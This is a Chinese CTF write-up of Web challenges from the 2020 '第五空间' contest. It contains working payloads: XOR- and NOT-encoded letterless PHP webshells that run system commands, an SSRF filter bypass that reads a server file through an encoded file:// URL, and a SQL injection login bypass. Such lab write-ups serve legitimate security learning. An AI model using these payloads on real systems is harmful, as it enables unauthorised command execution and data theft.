文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-07-01   1.8k

2020“第五空间”智能安全大赛线上赛CTF Web复盘

hate-php [Solved]

考点

  • 无字母webshell

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}

看到这个题第一反应就是无字母webshell,参考这篇文章

但是又不太一样,题目有两层过滤,第一个正则过滤了一些符号了flag.ph中任意的字符,第二个foreach过滤了所有内置函数。

取反

利用下面的脚本取反,构造system(end(getallheaders()))

1
2
3
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print(hexbit)

然后在header最后加上cat flag.php即可。

异或

参考这篇文章,简单分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>

可以看到这道题更为严格:

  1. 传入的字符长度不能超过18;
  2. 绕过preg_march正则表达式
  3. count_chars()>12的重复字符串绕过

第一个可以用构造_GET[x]来绕过,重点是正则表达式的绕过,先来看一下过滤了什么字符:

查看当前可以通过正则检测的字符:

1
2
3
4
5
6
7
8
<?php
for($i=0;$i<256;$i++){
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i',chr($i))){
echo $i;
#echo chr($i);
echo(",");
}
}

再用下面的脚本找到能异或出_GET的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,]
#a是上面的php脚本出来的数据,通过preg_match的字符
_=[]
G=[]
E=[]
T=[]
for i in a[27:]:#截取a列表27后面的数据,目的是避开可视字符。我们需要不可视字符来异或
for j in a[27:]:
tem=(i^j)
if(chr(tem)=="_"):
_.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if(chr(tem)=="G"):
G.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if (chr(tem) == "E"):
temp = []
E.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
if (chr(tem)== "T"):
T.append((str(hex(i)[2:])) + "*" + str(hex(j)[2:]))
print(_)
print(G)
print(E)
print(T)

有很多,用第一个来对原题试一试:

1
?code=${%86%86%86%86^%d9%c1%c3%d2}{%86}(${%86%86%86%86^%d9%c1%c3%d2}{%87})&%86=system&%87=cat%20flag.php

后记

CTFhub上面现在有这道题的复现环境,但是我发现用y1ng师傅gml师傅的payload都会不行,用我这个异或方式的payload可以正常回显。

do you know [solved]

考点

  • 代码审计
  • SSRF + XXE

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}

if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}

$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}

// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件


$res = curl_exec($ch);
var_dump($res);

预期解

思路:用gopher进行ssrf发送post请求给xxe.php

先留一个坑位,等一手复现环境:https://blog.csdn.net/a3320315/article/details/106960331

非预期解

这里利用了$_SERVER['QUERY_STRING'];不会进行url解码,但是后面赋值是$_GET赋的值,保存的是解码后的值,也就是说waf检测的是url解码前的value,直接将 file:///var/www/html/flag.php 进行url编码,可以拿到flag。

payload:

1
http://121.36.64.91/?a=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&b=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

Laravel [unsolved]

源码下载:

链接:https://pan.baidu.com/s/1WEWSkDzyE5MXSh9CXQ-q3A
提取码:p88e

考点

  • PHP反序列化 POP链

解题

先留一个坑,先把PHP的依赖注入的知识学完,不然看源码有点吃力。

美团外卖 [unsolved]

源码下载:

链接:https://pan.baidu.com/s/1sjERSDUUOf0O63BLqW1hZw
提取码:359o

考点

  • SQL注入
  • 代码审计

解题

暂时还没有复现环境,只能云做题了,参考:

https://www.gem-love.com/ctf/2380.html

http://igml.top/2020/06/25/2020-第五空间智能安全大赛初赛wp/

扫出来www.zip源码

首先是个登录框,看源码就很像GXYCTF2019 EasySQLiv1.0那道题的md5绕过。

1
2
用户名 : ' union select "0f5ed8a8d8d44d86a570aacffa922251"#
密码 : ca01h

可以登录,但是session里面的user不是admin。继续审计到daochu.php,SQL注入没有任何过滤,还有回显:

常规的SQL联合注入:

有个hint表,接着读列名是hints。再dump数据:

直接访问这个目录,和主页一样的界面,然而这里面没有www.zip了,接下来竟然要去lib文件夹里面去审计。。。😓

可以直接用find命令找一下PHP类型的文件,并且查看最近修改的文件,最后定位到lib/webuploader/0.1.5/server/preview.php,关键代码:

构造一个符合正则表达式的POST数据:

1
data:image/test;base64,test

题目返回了一个神秘文件,访问之后提示get file,所以就直接读flag就可以了。

还有一种解法是webuploader 0.1.5的公开漏洞:

https://9finger.cn/2020/03/06/CNVD-2018-26054漏洞复现/#漏洞分析

Copyright © ca01h 2019-2020 | 本站总访问量